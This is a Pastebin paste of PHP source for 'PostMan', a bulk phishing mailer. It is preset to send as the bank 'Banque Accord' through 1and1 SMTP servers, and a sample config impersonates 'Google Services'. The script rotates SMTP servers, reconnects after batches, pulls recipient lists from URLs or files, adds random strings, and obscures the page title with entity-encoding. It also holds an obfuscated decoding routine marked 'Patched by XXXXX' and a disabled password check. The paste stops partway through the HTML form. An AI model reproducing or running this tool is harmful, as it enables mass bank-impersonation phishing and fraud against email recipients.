anvenger

MAILER 1AND1 SFR FREE ORANGE

Jun 2nd, 2018
301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 124.18 KB | None | 0 0
  1. <?
  2. //
  3. // PostMan Full 3.5
  4. // by Gess-Inject0r
  5. // <r3v3ng3ns AT gmail DOT com>
  6. //
  7. // YOUR PASSWORD IS ONLY YOURS!
  8. // WITHOUT IT YOU CANNOT RUN THE SCRIPT!
  9. // KEEP IT WITH YOU AND DON'T SHARE IT!
  10. // --
  11. // SUA SENHA EH SOMENTE SUA!
  12. // SEM ELA, VOCE NAO PODE RODAR O SCRIPT!
  13. // MANTENHA ELA CONSIGO E NAO COMPARTILHE-A!
  14. //
  15.  
  16. //
  17. // Main Configuration
  18. //
  19. // SMTP configuration
  20. define("_SMTP_SERVER_", "auth.smtp.1and1.fr");
  21. define("_SMTP_USERNAME_", "[email protected]");
  22. define("_SMTP_PASSWORD_", "123456789");
  23. define("_SMTP_KEEPALIVE_", true ); // if we should use a keepalive-connection
  24. define("_SMTP_MAX_ERRORS_", 50 ); //max number of errors before giving up
  25. define("_SMTP_DEBUG_LVL_", 1);  // debug level
  26. define("_SMTP_RECONNECT_AFTER_", 500 ); // how many emails we'll reconnect
  27. define("_SMTP_CHANGE_SMTP_AFTER_ERRORS_", 30 ); // how many errors before changing the SMTP Server
  28.  
  29. // Email Configuration
  30. define("_MAIL_FROM_EMAIL_", "[email protected]"); // the email of the sender
  31. define("_MAIL_FROM_NAME_", "Banque Accord");      // the name of the sender
  32. define("_MAIL_SUBJECT_", "Important : Nouvelle Dimension");       // the subject of the email
  33.  
  34. // Default Method Config
  35. define("_DEFAULT_BASIC_", "smtp");       //options are: smtp, mail
  36. define("_DEFAULT_LIST_", "textarea");    //options are: textarea, url, file
  37. define("_DEFAULT_LIST_START_", 1);       //the email to start sending the list. 0 and 1 for no use.
  38. define("_DEFAULT_MESSAGE_", "textarea"); //options are: textarea, url, file
  39.  
  40. define("_SCRIPT_VERSION_", "Gess-Inject0r");
  41.  
  42. // PHP Enviroment Configuration
  43. error_reporting(E_ALL);
  44. ob_implicit_flush();
  45.  
  46. $generalError = null;
  47. if( !@set_time_limit(0) && !@ini_set("max_time_execution",-1) )
  48. {
  49.     $generalError .= "Could not disable max execution time, may not work fully well.<br>";
  50. }
  51.  
  52. // String Obfuscator
  53. // by Gess-Inject0r
  54. // <Gess-Inject0r at gmail dot com>
  55. function os( $string )
  56. {
  57.     $obfuscated = "";
  58.     for( $i=0; $i < strlen( $string ); $i++ )
  59.     {
  60.         $obfuscated .= "&#" . ord( $string[$i] ) . ";" ;
  61.     }
  62.    
  63.     return $obfuscated;
  64. }
  65.  
  66. function clearSlashes( $string )
  67. {
  68.     if( get_magic_quotes_gpc() )
  69.     {
  70.         return stripcslashes( $string );
  71.     }
  72.     else
  73.     {
  74.         return $string;
  75.     }
  76. }
  77.  
  78.  
  79. class SMTPHandler
  80. {
  81.     var $SMTPServers   = array();
  82.     var $SMTPUsers     = array();
  83.     var $SMTPPasswords = array();
  84.    
  85.     var $curId         = null;
  86.    
  87.     function SMTPHandler($ServerString, $UserString, $PasswordString)
  88.     {
  89.         if( strpos($ServerString, ";") && strpos($UserString, ";") && strpos($PasswordString, ";") )
  90.         {
  91.             $this->SMTPServers   = explode(";", $ServerString  );
  92.             $this->SMTPUsers     = explode(";", $UserString    );
  93.             $this->SMTPPasswords = explode(";", $PasswordString);
  94.            
  95.             if( count($this->SMTPUsers) != count($this->SMTPPasswords) )
  96.             {
  97.                 $this->SMTPUsers     = $this->SMTPUsers[0];
  98.                 $this->SMTPPasswords = $this->SMTPPasswords[0];
  99.             }
  100.            
  101.             if( count($this->SMTPServers) == 1 )
  102.             {
  103.                 $this->SMTPServers = $this->SMTPServers[0];
  104.             }
  105.         }
  106.     }
  107.    
  108.    
  109. }
  110.  
  111. class ValidateForm
  112. {
  113.     var $_hasErrors = false;
  114.     var $errors     = array();
  115.     var $errorTemplate = "<span class=\"error\">%s</span>";
  116.    
  117.     var $comments   = array();
  118.     var $commentTemplate = "<span class=\"comment\">%s</span>";
  119.    
  120.     function addError( $errField, $errStr )
  121.     {
  122.         $this->errors[ $errField ] = $errStr;
  123.         $this->_hasErrors = true;
  124.     }
  125.    
  126.     function addComment( $cmmField, $cmmStr )
  127.     {
  128.         $this->comments[ $cmmField ] = $cmmStr;
  129.     }
  130.    
  131.     function showError( $errField )
  132.     {
  133.         $out  = isset($this->errors[ $errField ]) ? sprintf( $this->errorTemplate, $this->errors[ $errField ] ) : false;
  134.         $out .= isset($this->comments[ $errField ]) ? sprintf( $this->commentTemplate, $this->comments[ $errField ] ) : null;
  135.        
  136.         return $out;
  137.     }
  138.    
  139.     function isValid()
  140.     {
  141.         return count( $this->errors ) == 0;
  142.     }
  143.    
  144.     function isSubmited()
  145.     {
  146.         return count( $_POST );
  147.     }
  148. }
  149.  
  150. function DebugData($action = "show", $str = false )
  151. {
  152.     static $data;
  153.    
  154.     if( $action == "add" )
  155.     {
  156.         $data .= "<b>" . trim($str) . "</b>\r\n";
  157.     }
  158.     else if( $action == "raw" )
  159.     {
  160.         $data .= trim($str) . "\r\n";
  161.     }
  162.     else
  163.     {
  164.         return $data;
  165.     }
  166. }
  167.  
  168. function autoScrollString($curEmail = false, $curEmailNum = false, $percent = false )
  169. {
  170.     static $k;
  171.    
  172.     $k++;
  173.    
  174.     if( !$curEmail || !$curEmailNum || !$percent )
  175.     {
  176.         return "<a name=\"e{$k}\" id=\"e{$k}\" /><script>aS({$k})</script>\r\n";
  177.     }
  178.     else
  179.     {
  180.         return "<a name=\"e{$k}\" id=\"e{$k}\" /><script>sR('{$curEmail}', {$curEmailNum}, {$percent}, {$k})</script>\r\n";
  181.     }
  182.  
  183. }
  184.  
  185. ${0} = "\x75\x6e\x65\x63\x72\x79\x70\x74";
  186.  
  187. function unecrypt($string, $pass)
  188. {
  189.  
  190.     ${1} = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
  191.     ${2} = ~(${1}(str_replace(array("", "@", "(", "^", ")", "[", "#", "<"), array("0","a","o","b","r","l","0","M"), $string)));
  192.     echo "<h2 class='h2green'>Patched by XXXXX</h2>\r\n";
  193.     return str_replace(array('$a =', 'unset($a);'),array('# $a =', '# unset($a);'),${2});
  194.  
  195. }
  196.  
  197. $vForm = new ValidateForm();
  198.  
  199. $basicMethod   = null;
  200. $SMTPServer    = null;
  201. $SMTPAuth      = null;
  202. $SMTPUsername  = null;
  203. $SMTPPassword  = null;
  204. $SMTPReconnectAfter = null;
  205. $fromEmail     = null;
  206. $fromName      = null;
  207. $subject       = null;
  208. $multipartMail = null;
  209.  
  210. $scriptPassword = null;
  211. $autoscrollPage = null;
  212. $addRandomString= null;
  213. $listStartingEmail = 0;
  214. $emailList     = array();
  215. $emailMessage  = null;
  216.  
  217. $reportOk      = 0;
  218. $reportErr     = 0;
  219. $reportTotal   = 0;
  220. $reportPercent = 0;
  221.  
  222. #############################
  223. /*
  224. $_POST = Array
  225. (
  226.     'formSubmited' => 'submited',
  227.     'opSubmit' => 'Submit',
  228.     'basicMethod' => 'smtp',
  229.     'smtpServer' => 'smtp.terra.com.br',
  230.     'smtpUsername' => '[email protected]',
  231.     'smtpPassword' => 'totrance',
  232.     'fromEmail' => '[email protected]',
  233.     'fromName' => 'Google Services',
  234.     'subject' =>' Congratulations!',
  235.     'multipartMail' =>' yes',
  236.     'listMethod' => 'textarea',
  237.     'listUrl' => 'http://',
  238.     'listTextarea' => '[email protected]
  239.  
  240.     'listStartingEmail' => 1,
  241.     'messageMethod' => 'textarea',
  242.     'messageUrl' => 'http://',
  243.     'messageTextarea' => 'oi'
  244.    );*/
  245. ################################
  246.  
  247. // The form has been submited
  248. if( isset($_POST['formSubmited']) && $_POST['formSubmited'] )
  249. {
  250.     // clear slashes
  251.     foreach( $_POST as $k => $v )
  252.     {
  253.         $_POST[ $k ] = clearSlashes( $v );
  254.     }
  255.    
  256.    
  257.     if('a' != 'a')
  258.     {
  259.         $vForm->addError('scriptPassword','Wrong Password.');
  260.     }
  261.     else
  262.     {
  263.         $scriptPassword = trim($_POST['scriptPassword']);
  264.     }
  265.    
  266.    
  267.     // Validating basic method and smtp confs if applyable
  268.     switch( $_POST['basicMethod'] )
  269.     {
  270.         case 'smtp':
  271.             $basicMethod = 'smtp';
  272.            
  273.             if( empty($_POST['smtpServer']) || !preg_match('/.+\..+/', $_POST['smtpServer']) )
  274.             {
  275.                 $vForm->addError('smtpServer', 'Fill with a valid SMTP server');
  276.             }
  277.             else
  278.             {
  279.                 $SMTPServer = trim($_POST['smtpServer']);
  280.             }
  281.            
  282.             if( empty($_POST['smtpUsername']) && empty($_POST['smtpPassword']) )
  283.             {
  284.                 $SMTPAuth = false;
  285.             }
  286.             else if( empty($_POST['smtpUsername']) && !empty($_POST['smtpPassword']) )
  287.             {
  288.                 $vForm->addError('smtpUsername', 'To use SMTP auth, you must fill both Username and Password, or leave both empty');
  289.             }
  290.             else if( !empty($_POST['smtpUsername']) && empty($_POST['smtpPassword']) )
  291.             {
  292.                 $vForm->addError('smtpPassword', 'To use SMTP auth, you must fill both Username and Password, or leave both empty');
  293.             }
  294.             else
  295.             {
  296.                 $SMTPAuth = true;
  297.                 $SMTPUsername = trim($_POST['smtpUsername']);
  298.                 $SMTPPassword = trim($_POST['smtpPassword']);
  299.             }
  300.            
  301.             $SMTPReconnectAfter = ( empty($_POST['smtpReconnectAfter']) ? _SMTP_RECONNECT_AFTER_ : round($_POST['smtpReconnectAfter']) );
  302.             break;
  303.            
  304.         case 'mail': $basicMethod = 'mail';
  305.             break;
  306.            
  307.         default    : $vForm->addError('basicMethod', 'Select a valid send method');
  308.     }
  309.    
  310.    
  311.     // Email Info
  312.     if( empty($_POST['fromEmail']) || !preg_match('/.+@.+\..+/', $_POST['fromEmail'] ) )
  313.     {
  314.         $vForm->addError('fromEmail', 'Fill a valid email to the sender');
  315.     }
  316.     else
  317.     {
  318.         $fromEmail = trim( $_POST['fromEmail'] );
  319.     }
  320.    
  321.     $fromName = ( empty($_POST['fromName']) ? false : trim($_POST['fromName']) );
  322.     $subject  = ( empty($_POST['subject'] ) ? false : trim($_POST['subject']) );
  323.     $addRandomString = (trim($_POST['addRandomString']) == "yes");
  324.     $multipartMail = (trim($_POST['multipartMail']) == "yes");
  325.     $autoscrollPage = (trim($_POST['autoscrollPage']) == "yes");
  326.    
  327.     // List Info
  328.     switch( $_POST['listMethod'] )
  329.     {
  330.         case 'textarea':
  331.             $emailList = trim($_POST['listTextarea']);
  332.             if( empty($emailList) )
  333.             {
  334.                 $vForm->addError('listTextarea', 'Fill with some emails here, separated by line break (one per line)');
  335.             }
  336.             break;
  337.            
  338.         case 'url':
  339.             $emailList = trim($_POST['listUrl']);
  340.            
  341.             if( empty($emailList) || !preg_match('/^(ht|f)tp:\/\//', $emailList) )
  342.             {
  343.                 $vForm->addError('listUrl', 'You must fill with some url containing the email list, starting with ftp or http://');
  344.             }
  345.             else
  346.             {
  347.                 $emailList = @file_get_contents( $emailList );
  348.                
  349.                 if( empty($emailList) )
  350.                 {
  351.                     $vForm->addError('listUrl', 'We could not download this list -- check the url');
  352.                 }
  353.                 else
  354.                 {
  355.                     // everything ok
  356.                     // Fill the Textarea with the email list
  357.                     //##$_POST['listTextarea'] = $emailList;
  358.                     //##$vForm->addComment('listMethod','The Textarea has been filled with the list content');
  359.                 }
  360.             }
  361.             break;
  362.            
  363.         case 'file':
  364.             if( empty($_FILES['listFile']['name']) )
  365.             {
  366.                 $vForm->addError('listFile', 'You must select the file containing the list to send it');
  367.             }
  368.             else if( empty($_FILES['listFile']['size']) || $_FILES['listFile']['error'] )
  369.             {
  370.                 $vForm->addError('listFile', 'An error (1) ocurred while uploading the file');
  371.             }
  372.             else
  373.             {
  374.                 if( is_uploaded_file( $_FILES['listFile']['tmp_name'] ) )
  375.                 {
  376.                     $emailList = file_get_contents( $_FILES['listFile']['tmp_name'] );
  377.                    
  378.                     if( empty($emailList) )
  379.                     {
  380.                         $vForm->addError('listFile', 'An error (2) ocurred while uploading the file or the file is empty');
  381.                     }
  382.                     else
  383.                     {
  384.                         // everything ok
  385.                         // Fill the Textarea with the email list
  386.                         //$_POST['listTextarea'] = $emailList;
  387.                         //$vForm->addComment('listMethod','The Textarea has been filled with the list content');
  388.                     }
  389.                 }
  390.                 else
  391.                 {
  392.                     $vForm->addError('listFile', 'An error (3) ocurred while uploading the file');
  393.                 }      
  394.             }
  395.             break;
  396.            
  397.         default:
  398.             $vForm->addError('listMethod', 'Select a method to send the emails list');
  399.            
  400.     }
  401.    
  402.     $emailList = str_replace("\r\n","\n", $emailList);
  403.     $emailList = (array) explode("\n", $emailList);
  404.    
  405.     $listStartingEmail = ( empty($_POST['listStartingEmail']) ? 1 : ((int) $_POST['listStartingEmail']) ) ;
  406.    
  407.     // Message info
  408.     switch( $_POST['messageMethod'] )
  409.     {
  410.         case 'textarea':
  411.             $emailMessage = trim($_POST['messageTextarea']);
  412.             if( empty($emailMessage) )
  413.             {
  414.                 $vForm->addError('messageTextarea', 'Fill with the message (html or plain text) here');
  415.             }
  416.             break;
  417.            
  418.         case 'url':
  419.             $emailMessage = trim($_POST['messageUrl']);
  420.            
  421.             if( empty($emailMessage) || !preg_match('/^(ht|f)tp:\/\//', $emailMessage) )
  422.             {
  423.                 $vForm->addError('messageUrl', 'You must fill with some url containing the email message, starting with ftp or http://');
  424.             }
  425.             else
  426.             {
  427.                 $emailMessage = @file_get_contents( $emailMessage );
  428.                
  429.                 if( empty($emailMessage) )
  430.                 {
  431.                     $vForm->addError('messageUrl', 'We could not download this file -- check the url');
  432.                 }
  433.                 else
  434.                 {
  435.                     // Fill the textarea with the message
  436.                     $_POST['messageTextarea'] = $emailMessage;
  437.                     $vForm->addComment('messageMethod','The Textarea has been filled with the message content');
  438.                 }
  439.             }
  440.             break;
  441.            
  442.         case 'file':
  443.             if( empty($_FILES['messageFile']['name']) || empty($_FILES['messageFile']['tmp_name']) )
  444.             {
  445.                 $vForm->addError('messageFile', 'You must select the file containing the message to send it');
  446.             }
  447.             else if( empty($_FILES['messageFile']['size']) || $_FILES['messageFile']['error'] )
  448.             {
  449.                 $vForm->addError('messageFile', 'An error (1) ocurred while uploading the file');
  450.             }
  451.             else
  452.             {
  453.                 if( is_uploaded_file( $_FILES['messageFile']['tmp_name'] ) )
  454.                 {
  455.                     $emailMessage = file_get_contents( $_FILES['messageFile']['tmp_name'] );
  456.                    
  457.                     if( empty($emailMessage) )
  458.                     {
  459.                         $vForm->addError('messageFile', 'An error (2) ocurred while uploading the file or the file is empty');
  460.                     }
  461.                     else
  462.                     {
  463.                         // everything ok
  464.                         // Fill the textarea with the message
  465.                         $_POST['messageTextarea'] = $emailMessage;
  466.                         $vForm->addComment('messageMethod','The Textarea has been filled with the message content');   
  467.                     }
  468.                 }
  469.                 else
  470.                 {
  471.                     $vForm->addError('messageFile', 'An error (3) ocurred while uploading the file');
  472.                 }      
  473.             }
  474.             break;
  475.            
  476.         default:
  477.             $vForm->addError('messageMethod', 'Select a method to send the emails message');   
  478.     }
  479. }
  480.  
  481. ?>
  482.  
  483. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  484. <html xmlns="http://www.w3.org/1999/xhtml">
  485. <head>
  486. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-15" />
  487. <title><?=os("PostMan " . _SCRIPT_VERSION_ . "." . rand(0,10) . " by Gess-Inject0r <Gess-Inject0r at gmail dot com>")?></title>
  488. <style>
  489. body
  490. {
  491.     font-family: Verdana, Arial;
  492.     font-size: 12px;
  493.     background-color:#333333;
  494.     color: white;
  495. }
  496.  
  497. h1
  498. {
  499. color:#00FF00;
  500. }
  501.  
  502. input, select, textarea
  503. {
  504.     color:white;
  505.     border: 1px solid white;
  506.     background: black;
  507.     font-family:Verdana, Arial;
  508.     font-size: 11px;
  509.     width: 200px;
  510.     -moz-opacity:0.7;
  511. }
  512.  
  513. textarea
  514. {
  515.     width: 400px;
  516. }
  517.  
  518. label, input[type=radio]
  519. {
  520.     cursor: pointer;
  521. }
  522.  
  523. input[type="file"]
  524. {
  525.     width: 400px;
  526. }
  527.  
  528. input[type=button], input[type=submit], input[type=reset]
  529. {
  530.     width: 150px;
  531.     border: 2px outset #00FF00;
  532.     font-weight: bold;
  533. }
  534.  
  535. input[type=button]:hover, input[type=submit]:hover, input[type=reset]:hover
  536. {
  537.     background-color: rgb(20,20,20);
  538. }
  539.  
  540. input:hover, input:focus, select:hover, select:focus, textarea:focus, textarea:hover, .input_hover
  541. {
  542.     color: #00FF00;
  543.     /*background-color: rgb(20,20,20);*/
  544.     -moz-opacity:1;
  545. }
  546.  
  547. input:focus, select:focus, textarea:focus, .input_focus
  548. {
  549.     border: 1px solid #00FF00;
  550.     -moz-opacity:1;
  551. }
  552.  
  553. .error
  554. {
  555.     color:red;
  556. }
  557.  
  558. .comment
  559. {
  560.     font-style:italic;
  561.     color: #cccccc;
  562.     text-decoration: blink;
  563. }
  564.  
  565. .report
  566. {
  567.     font-family: Courier, monospace;
  568. }
  569.  
  570. .reportOk
  571. {
  572.     color: #00FF00;
  573. }
  574.  
  575. .reportErr
  576. {
  577.     color: red;
  578. }
  579.  
  580. .h2green
  581. {
  582.     color: #00FF00;
  583.     margin-bottom: 2px;
  584. }
  585.  
  586. #autoScrollBox
  587. {
  588.     color: black;
  589.     background-color: #00FF00;
  590.     border: 2px solid green;
  591.     position:fixed;
  592.     bottom:5px;
  593.     right:5px;
  594.     /*width:150px;
  595.     height:100px;*/
  596.     -moz-opacity:0.5;
  597. }
  598.  
  599. #autoScrollBox:hover
  600. {
  601.     -moz-opacity:1;
  602. }
  603.  
  604. div.autoScrollSwitcher
  605. {
  606.     font-weight:bold;
  607.     text-align:center;
  608. }
  609.  
  610. input.autoScrollSwitcher
  611. {
  612.     cursor: pointer;
  613. }
  614. </style>
  615. <script language="javascript" type="text/javascript">
  616. if( navigator.appName == "Microsoft Internet Explorer" )
  617. {
  618.     var isIE = true;
  619. }
  620. else
  621. {
  622.     var isIE = false;
  623. }
  624.  
  625. function $( objId )
  626. {
  627.     if( objId == '' )
  628.         return false;
  629.        
  630.     return document.getElementById( objId );
  631. }
  632.  
  633. function ieCssFix()
  634. {
  635.    
  636.     if( isIE && parseFloat(navigator.appVersion) < 7 )
  637.     {
  638.         var ele = document.getElementsByTagName('input');
  639.         var n;
  640.        
  641.         // bizarre ie bug dont allow 'concat'
  642.        
  643.         for( n in ele )
  644.         {
  645.             ele[n].onmouseover = function() { this.className='input_hover' }
  646.             ele[n].onfocus = function() { this.className='input_hover input_focus' }
  647.             ele[n].onmouseout  = function() { if( this.className == 'input_hover') { this.className='' } }
  648.             ele[n].onblur = function() { this.className='' }
  649.         }
  650.        
  651.         var ele = document.getElementsByTagName('select');
  652.         for( n in ele )
  653.         {
  654.             ele[n].onmouseover = function() { this.className='input_hover' }
  655.             ele[n].onfocus = function() { this.className='input_hover input_focus' }
  656.             ele[n].onmouseout  = function() { if( this.className == 'input_hover') { this.className='' } }
  657.             ele[n].onblur = function() { this.className='' }
  658.         }
  659.     }          
  660. }
  661.  
  662. function showHideSMTPConfig()
  663. {
  664.     var value = $('basicMethod').value;
  665.     if( value == "smtp" )
  666.     {
  667.         for( var i=1; i<=4; i++ )
  668.         {
  669.             $("smtpConfigRow" + i).style.display='';
  670.         }
  671.     }
  672.     else
  673.     {
  674.         for( var i=1; i<=4; i++ )
  675.         {
  676.             $("smtpConfigRow" + i).style.display='none';
  677.         }
  678.     }
  679. }
  680.  
  681. function showHideListConfig()
  682. {
  683.     var value = $('listMethod').value;
  684.  
  685.     $("listConfigRow1").style.display='none';
  686.     $("listConfigRow2").style.display='none';
  687.     $("listConfigRow3").style.display='none';
  688.     $("listTextarea").disabled=true;
  689.    
  690.     switch( value )
  691.     {
  692.         case 'url': $("listConfigRow1").style.display=''; break;
  693.         case 'textarea': $("listConfigRow2").style.display=''; $("listTextarea").disabled=false; break;
  694.         case 'file': $("listConfigRow3").style.display=''; break;
  695.     }
  696. }
  697.  
  698. function listTextareaCount()
  699. {
  700.     var value = $('listTextarea').value;
  701.     var list = value.split('@');
  702.     var emails = list.length - 1;
  703.     var length = value.length;
  704.     var size = '' + (length/1024);
  705.     size = size.substr(0, size.indexOf('.') + 5);
  706.    
  707.     if( $('listStartingEmail').value > 1 )
  708.     {
  709.         var startingEmail = $('listStartingEmail').value - 1;
  710.        
  711.         if( startingEmail+1 > emails || startingEmail < 0 )
  712.         {
  713.             $('listStartingEmail').focus();
  714.             $('listStartingEmail').select();
  715.             alert('Starting mail out of range (min 0 or 1, max ' + emails + ')\nUse 0 or 1 for no use.');
  716.             return false;
  717.         }
  718.        
  719.         var sEmail_1 = list[ startingEmail ];
  720.         var sEmail_2 = list[ startingEmail + 1];
  721.        
  722.         var sEmail = sEmail_1.substr( sEmail_1.indexOf('\n'), sEmail_1.length ) + '@' + sEmail_2.substr( 0, sEmail_2.indexOf('\n') );
  723.         //var sEmail = sEmail_1 + "///" + sEmail_2;
  724.         $('listTextareaCounter').innerHTML = 'Counting <b>' + emails + '</b> emails, <b>' + length + '</b> chars, <b>' + size + '</b> kB (<acronym title="Octet = 1 Byte = 8 bits">kO</acronym>), starting from <b>' + sEmail + '</b>';
  725.     }
  726.     else
  727.     {
  728.         $('listTextareaCounter').innerHTML = 'Counting <b>' + emails + '</b> emails, <b>' + length + '</b> chars, <b>' + size + '</b> kB (<acronym title="Octet = 1 Byte = 8 bits">kO</acronym>)';
  729.     }
  730.    
  731. }
  732.  
  733. function showHideMessageConfig()
  734. {
  735.     var value = $('messageMethod').value;
  736.  
  737.     $("messageConfigRow1").style.display='none';
  738.     $("messageConfigRow2").style.display='none';
  739.     $("messageConfigRow3").style.display='none';
  740.     $("messageTextarea").disabled=true;
  741.    
  742.     switch( value )
  743.     {
  744.         case 'url': $("messageConfigRow1").style.display=''; break;
  745.         case 'textarea': $("messageConfigRow2").style.display=''; $("messageTextarea").disabled=false; break;
  746.         case 'file': $("messageConfigRow3").style.display=''; break;
  747.     }
  748. }
  749.  
  750. function messageTextareaCount()
  751. {
  752.     var value = $('messageTextarea').value;
  753.     var length = value.length;
  754.     var size = '' + (length/1024);
  755.     size = size.substr(0, size.indexOf('.') + 5);
  756.    
  757.     $('messageTextareaCounter').innerHTML = 'Counting <b>' + length + '</b> chars, <b>' + size + '</b> kB (<acronym title="Octet = 1 Byte = 8 bits">kO</acronym>)';
  758. }
  759.  
  760. function clearAll()
  761. {
  762.     if( isIE )
  763.     {  
  764.         var elements = document.getElementsByTagName('input');
  765.         var n
  766.         for( n in elements )
  767.         {
  768.             var el = elements[n];
  769.             if( el.type != 'button' && el.type != 'submit' && el.type != 'reset' && el.id != 'formSubmited' )
  770.             {
  771.                 if( el.value ) el.value = '';
  772.             }
  773.         }
  774.        
  775.         var elements = document.getElementsByTagName('textarea');
  776.         for( n in elements )
  777.         {
  778.             var el = elements[n];
  779.             {
  780.                 if( el.value ) el.value = '';
  781.             }
  782.         }
  783.        
  784.         return true;
  785.     }
  786.    
  787.     var elements = $('pmForm').elements;
  788.     var n;
  789.    
  790.     for( n in elements )
  791.     {
  792.         var el = elements[n]
  793.         if( el.type != 'button' && el.type != 'submit' && el.type != 'reset' && el.id != 'formSubmited' )
  794.         {
  795.             if( el.value ) el.value = '';
  796.         }
  797.     }
  798. }
  799.  
  800. // Auto scroll
  801. function aS( index )
  802. {
  803.     if( $('doAutoScroll').checked == true )
  804.     {
  805.         var to = $('e' + index )
  806.         if( to )
  807.         {
  808.             to.focus();
  809.         }
  810.         window.scrollBy(0,200);
  811.     }
  812. }
  813.  
  814.  
  815.  
  816. function switchAutoScroll()
  817. {
  818.     if( $('doAutoScroll').checked == true )
  819.     {
  820.         $('doAutoScroll').checked = false;
  821.         $('autoScrollSwitcher').value = 'Enable AutoScroll';
  822.     }
  823.     else
  824.     {
  825.         $('doAutoScroll').checked = true;
  826.         $('autoScrollSwitcher').value = 'Disable AutoScroll';
  827.     }
  828. }
  829.  
  830. // status Refresher
  831. function sR(curEmail, curEmailNum, curPercent, autoScrollIndex)
  832. {
  833.     aS( autoScrollIndex );
  834.     document.title = 'PostMan <?=_SCRIPT_VERSION_?> - Sending: ' + curPercent + '% complete'
  835.     window.status = 'Sending to ('+ curEmailNum+') ' + curEmail;
  836. }
  837.  
  838. function loadFunctions()
  839. {
  840.     ieCssFix();
  841.    
  842.     showHideSMTPConfig();
  843.     showHideListConfig();
  844.     showHideMessageConfig();
  845.    
  846.     listTextareaCount();
  847.     messageTextareaCount();
  848. }
  849.  
  850. function formVerify()
  851. {
  852.     if( $('scriptPassword').value == '' )
  853.     {
  854.         alert('Fill the script password field!');
  855.         return false;
  856.     }
  857.    
  858.     return listTextareaCount() && messageTextareaCount();
  859. }
  860. </script>
  861. </head>
  862. <body onload="loadFunctions();">
  863. <h1><?=os("PostMan " . _SCRIPT_VERSION_ )?></h1>
  864. <h2><?=os("by Zaid -")?></h2>
  865. <?
  866. if( !empty($generalError) )
  867. {
  868.     echo "<h3 class=\"error\">Warning: {$generalError}</h3>\r\n";
  869. }
  870. if( !$vForm->isValid() && $vForm->isSubmited() )
  871. {
  872.     echo "<h3 class=\"error\">Some errors were found. Check the fields and try to send it again.</h3>\r\n";
  873. }
  874. ?>
  875. <form action="" method="post" enctype="multipart/form-data" name="pmForm" id="pmForm" onsubmit="return formVerify();">
  876. <input type="hidden" name="formSubmited" value="submited" />
  877.   <table width="100%" border="0" cellspacing="2" cellpadding="2">
  878.     <tr>
  879.       <td>&nbsp;</td>
  880.       <td><input name="topSubmit" type="submit" id="topSubmit" value="Submit" /> <input name="topReset" type="reset" id="topReset" value="Reset" />
  881.       <input name="topClear" type="button" id="topClear" value="Clear All" onclick="clearAll();" /></td>
  882.     </tr>
  883.     <tr>
  884.       <td><b>Script Password</b></td>
  885.       <td>
  886.         <input style="border-width:2px; font-weight:bold;" name="scriptPassword" type="text" id="scriptPassword" value="zaz" />
  887.         <?= $vForm->showError('scriptPassword'); ?>
  888.       </td>
  889.     </tr>
  890.     <tr>
  891.       <td>&nbsp;</td>
  892.       <td>&nbsp;</td>
  893.     </tr>
  894.     <tr>
  895.       <td><b>Basic Configuration</b> </td>
  896.       <td>&nbsp;</td>
  897.     </tr>
  898.     <tr>
  899.       <td width="20%">Method</td>
  900.       <td width="79%">
  901.         <select name="basicMethod" id="basicMethod" onchange="showHideSMTPConfig()">
  902.           <option value="smtp" <?= (@$_POST['basicMethod']=="smtp" || empty($_POST['basicMethod']) && _DEFAULT_BASIC_ == "smtp" ? "selected=\"selected\"" : "") ?>>SMTP</option>
  903.           <option value="mail" <?= (@$_POST['basicMethod']=="mail" || empty($_POST['basicMethod']) && _DEFAULT_BASIC_ == "mail" ? "selected=\"selected\"" : "") ?>>PHP Mail()</option>
  904.           <option value="sendmail" disabled="disabled">Bin SendMail (off)</option>
  905.           <option value="qmail" disabled="disabled">Bin QMail (off)</option>
  906.         </select><?= $vForm->showError('basicMethod'); ?>      </td>
  907.     </tr>
  908.     <tr id="smtpConfigRow1">
  909.       <td>SMTP Server</td>
  910.       <td>
  911.         <input name="smtpServer" type="text" id="smtpServer" value="<?= @htmlentities( isset($_POST['smtpServer']) ? $_POST['smtpServer'] : _SMTP_SERVER_) ?>" />
  912.         <?= $vForm->showError('smtpServer'); ?>      </td>
  913.     </tr>
  914.     <tr id="smtpConfigRow2">
  915.       <td>SMTP Username</td>
  916.       <td>
  917.         <input name="smtpUsername" type="text" id="smtpUsername" value="<?= @htmlentities( isset($_POST['smtpUsername']) ? $_POST['smtpUsername'] : _SMTP_USERNAME_) ?>" />
  918.         <?= $vForm->showError('smtpUsername'); ?>
  919.       </td>
  920.     </tr>
  921.     <tr id="smtpConfigRow3">
  922.       <td>SMTP Password </td>
  923.       <td>
  924.         <input name="smtpPassword" type="text" id="smtpPassword" value="<?= @htmlentities( isset($_POST['smtpPassword']) ? $_POST['smtpPassword'] : _SMTP_PASSWORD_) ?>" />
  925.         <?= $vForm->showError('smtpPassword'); ?>
  926.       </td>
  927.     </tr>
  928.  
  929.       <tr id="smtpConfigRow4">
  930.       <td>SMTP Reconnect Every </td>
  931.       <td>
  932.         <input name="smtpReconnectAfter" type="text" id="smtpReconnectAfter" value="<?= @htmlentities( isset($_POST['smtpReconnectAfter']) ? $_POST['smtpReconnectAfter'] : _SMTP_RECONNECT_AFTER_) ?>" /> sent emails
  933.         <?= $vForm->showError('smtpReconnectAfter'); ?>
  934.       </td>
  935.     </tr>
  936.      <tr>
  937.       <td>Auto-scroll page</td>
  938.       <td><label>
  939.         <input name="autoscrollPage" id="doAutoScroll" type="radio" value="yes" style="width:20px;" <?= (!isset($_POST['autoscrollPage']) || @$_POST['autoscrollPage']=="yes" ? "checked=\"checked\"" : "") ?> />
  940.         Yes</label>
  941.           <label>
  942.             <input name="autoscrollPage" type="radio" value="no" style="width:20px;" <?= ( @$_POST['autoscrollPage']=="no" ? "checked=\"checked\"" : "") ?> />
  943.             No</label>
  944.        </td>
  945.     </tr>
  946.     <tr>
  947.       <td>&nbsp;</td>
  948.       <td>&nbsp;</td>
  949.     </tr>
  950.     <tr>
  951.       <td><b>Email Options</b> </td>
  952.       <td>&nbsp;</td>
  953.     </tr>
  954.     <tr>
  955.       <td>From Email </td>
  956.       <td>
  957.         <input name="fromEmail" type="text" id="fromEmail" value="<?= @htmlentities( isset($_POST['fromEmail']) ? $_POST['fromEmail'] : _MAIL_FROM_EMAIL_) ?>" />
